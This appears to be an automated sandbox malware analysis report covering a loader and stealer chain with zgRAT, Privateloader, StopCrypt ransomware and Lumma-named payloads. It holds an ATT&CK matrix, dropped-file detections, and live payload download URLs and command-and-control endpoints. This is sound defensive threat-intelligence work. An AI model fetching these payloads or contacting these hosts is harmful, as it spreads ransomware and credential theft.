Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2MwMOxTR5ZuDHHYSd2btGVy.exe PID: 5236, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	51 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Scheduled Task/Job	1 Bypass User Account Control	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Windows Service	3 Obfuscated Files or Information	NTDS	238 System Information Discovery	Distributed Component Object Model	1 Email Collection	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	511 Process Injection	1 Install Root Certificate	LSA Secrets	1 Network Share Discovery	SSH	1 Credential API Hooking	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	24 Software Packing	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Timestomp	DCSync	1071 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	561 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bypass User Account Control	/etc/passwd and /etc/shadow	2 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	23 Masquerading	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	561 Virtualization/Sandbox Evasion	Input Capture	3 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	511 Process Injection	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Rundll32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	16%	ReversingLabs
SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	38%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	100%	Avira	HEUR/AGEN.1317026
C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe	100%	Avira	HEUR/AGEN.1317026
C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe	100%	Joe Sandbox ML
C:\ProgramData\ECAKKKKJDBKK\freebl3.dll	0%	ReversingLabs
C:\ProgramData\ECAKKKKJDBKK\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\ECAKKKKJDBKK\mozglue.dll	0%	ReversingLabs
C:\ProgramData\ECAKKKKJDBKK\mozglue.dll	3%	Virustotal		Browse
C:\ProgramData\ECAKKKKJDBKK\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\ECAKKKKJDBKK\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\ECAKKKKJDBKK\nss3.dll	0%	ReversingLabs
C:\ProgramData\ECAKKKKJDBKK\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\ECAKKKKJDBKK\softokn3.dll	0%	ReversingLabs
C:\ProgramData\ECAKKKKJDBKK\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe (copy)	45%	ReversingLabs	Win32.Trojan.Zusy
C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe (copy)	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Retailer_prog[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inte[1].exe	71%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\default_s[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Default12_s[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\TWO[1].file	53%	ReversingLabs	Win32.Trojan.PLoader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[1].exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[2].exe	45%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe	46%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqls[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_setup64.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
helsinki-dtc.com	1%	Virustotal	Browse
ps.userapi.com	0%	Virustotal	Browse
lop.foxesjoy.com	17%	Virustotal	Browse
sun6-20.userapi.com	0%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
f.alie3ksggg.com	14%	Virustotal	Browse
fleur-de-lis.sbs	0%	Virustotal	Browse
api.2ip.ua	6%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
checkdata-1114476139.us-west-2.elb.amazonaws.com	0%	Virustotal	Browse
env-3936544.jcloud.kz	5%	Virustotal	Browse
api.myip.com	1%	Virustotal	Browse
sun6-21.userapi.com	0%	Virustotal	Browse
iplis.ru	12%	Virustotal	Browse
service-domain.xyz	13%	Virustotal	Browse
monoblocked.com	15%	Virustotal	Browse
d1u0l9f6kr1di3.cloudfront.net	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
f.123654987.xyz	0%	Virustotal	Browse
sta.alie3ksgee.com	9%	Virustotal	Browse
vk.com	0%	Virustotal	Browse
sun6-22.userapi.com	0%	Virustotal	Browse
kurd.computer	4%	Virustotal	Browse
db-ip.com	0%	Virustotal	Browse
iplogger.org	1%	Virustotal	Browse
sun6-23.userapi.com	0%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse
www.rapidfilestorage.com	1%	Virustotal	Browse
api2.check-data.xyz	6%	Virustotal	Browse
skrptfiles.tracemonitors.com	1%	Virustotal	Browse
psv4.userapi.com	4%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse
ps.userapi.com	87.240.137.134	true	false	0%, Virustotal, Browse
helsinki-dtc.com	194.67.87.38	true	false	1%, Virustotal, Browse
lop.foxesjoy.com	188.114.96.3	true	false	17%, Virustotal, Browse
sun6-21.userapi.com	95.142.206.1	true	false	0%, Virustotal, Browse
sun6-20.userapi.com	95.142.206.0	true	false	0%, Virustotal, Browse
fleur-de-lis.sbs	188.114.96.3	true	false	0%, Virustotal, Browse
api.myip.com	172.67.75.163	true	false	1%, Virustotal, Browse
f.alie3ksggg.com	103.146.158.221	true	false	14%, Virustotal, Browse
ipinfo.io	34.117.186.192	true	false	0%, Virustotal, Browse
api.2ip.ua	188.114.97.3	true	false	6%, Virustotal, Browse
www.google.com	142.250.185.228	true	false	0%, Virustotal, Browse
service-domain.xyz	54.210.117.250	true	true	13%, Virustotal, Browse
checkdata-1114476139.us-west-2.elb.amazonaws.com	44.235.180.78	true	false	0%, Virustotal, Browse
vk.com	87.240.132.72	true	false	0%, Virustotal, Browse
iplis.ru	172.67.147.32	true	false	12%, Virustotal, Browse
env-3936544.jcloud.kz	185.22.66.15	true	false	5%, Virustotal, Browse
monoblocked.com	45.130.41.108	true	false	15%, Virustotal, Browse
d1u0l9f6kr1di3.cloudfront.net	13.225.78.29	true	false	0%, Virustotal, Browse
iplogger.org	172.67.132.113	true	false	1%, Virustotal, Browse
sta.alie3ksgee.com	103.146.158.221	true	false	9%, Virustotal, Browse
f.123654987.xyz	37.221.125.202	true	true	0%, Virustotal, Browse
steamcommunity.com	23.67.133.187	true	true	0%, Virustotal, Browse
sun6-22.userapi.com	95.142.206.2	true	false	0%, Virustotal, Browse
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false
kurd.computer	146.70.56.165	true	false	4%, Virustotal, Browse
sun6-23.userapi.com	95.142.206.3	true	false	0%, Virustotal, Browse
db-ip.com	104.26.4.15	true	false	0%, Virustotal, Browse
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	0%, Virustotal, Browse
clients2.googleusercontent.com	unknown	unknown	true	0%, Virustotal, Browse
api2.check-data.xyz	unknown	unknown	true	6%, Virustotal, Browse
www.rapidfilestorage.com	unknown	unknown	true	1%, Virustotal, Browse
skrptfiles.tracemonitors.com	unknown	unknown	true	1%, Virustotal, Browse
psv4.userapi.com	unknown	unknown	true	4%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sun6-21.userapi.com/c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jRz3VHyIyqSgoQJ0PIBZD5yYwFOMWsgUwY	false
https://65.109.242.59/nss3.dll	false
http://185.172.128.170/8420e83ceb95f3af/freebl3.dll	true
https://vk.com/doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015	false
http://f.alie3ksggg.com/f/oiii.exe	false
https://kurd.computer/dll/builddoc.exe	false
http://185.172.128.170/8420e83ceb95f3af/msvcp140.dll	true
https://65.109.242.59/freebl3.dll	false
http://185.172.128.170/8420e83ceb95f3af/nss3.dll	true
https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11	false
https://vk.com/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005	false
https://steamcommunity.com/profiles/76561199689717899	true
https://ipinfo.io/widget/demo/8.46.123.175	false
https://vk.com/doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12	false
https://65.109.242.59/mozglue.dll	false
https://65.109.242.59/vcruntime140.dll	false
http://185.172.128.170/8420e83ceb95f3af/softokn3.dll	true
https://monoblocked.com/525403/setup.exe	false
http://176.111.174.109/pelikan	false
http://185.172.128.170/8420e83ceb95f3af/vcruntime140.dll	true
5.42.65.115:40551	true
http://cajgtus.com/lancer/get.php	true
https://psv4.userapi.com/c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreuF016zSG-PMeLmWuk7pR8kMj7KZ_yatRQQ	false
https://vk.com/doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1	false
http://5.42.65.64/advdlc.php	false
http://sta.alie3ksgee.com/aaaaaaaa.jpg	false
http://5.42.65.116/lumma2305.exe	false
https://iplis.ru/1BV4j7.mp4	false
185.172.128.170/7043a0c6a68d9c65.php	true
https://api.myip.com/	false
https://api.2ip.ua/geo.json	false
https://vk.com/doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5tezNI2nYywbtZUDfgtE1vvaKnaRV9Z4&api=1&no_preview=1	false

URLs from Memory and Binaries

Name	Source	Malicious
http://5.42.65.116/lumma2305.exen	ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089939827.0000000001702000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089155668.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2091372722.0000000001702000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/chrome_newtab	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2253389959.000000000171F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	false
http://sta.alie3ksgee.com/%	AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7615000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2253389959.000000000171F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	false
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	_C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	false
https://api.myip.com/lnE	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000A82000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000000.1877151517.0000000000D22000.00000080.00000001.01000000.00000010.sdmp	false
http://185.172.128.170	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470394380.0000000002E1E000.00000004.00000020.00020000.00000000.sdmp	true
http://5.42.65.116/lumma2305.exes	r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2039355227.0000000006547000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/http	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	false
https://thridparty.nservices.org/api/browser/GetScript?id=$	uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDF1E000.00000004.00000800.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDF0A000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1735833692.0000000004C5A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736021478.0000000004B66000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1735597066.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000000.1877131180.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264433765.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp	false
http://85.192.56.26/api/flash.phpYp	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.47.102:57893/hera/amadka.exe.dat	oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpYp	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	false
https://www.sqlite.org/lang_corefunc.html	_C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	false
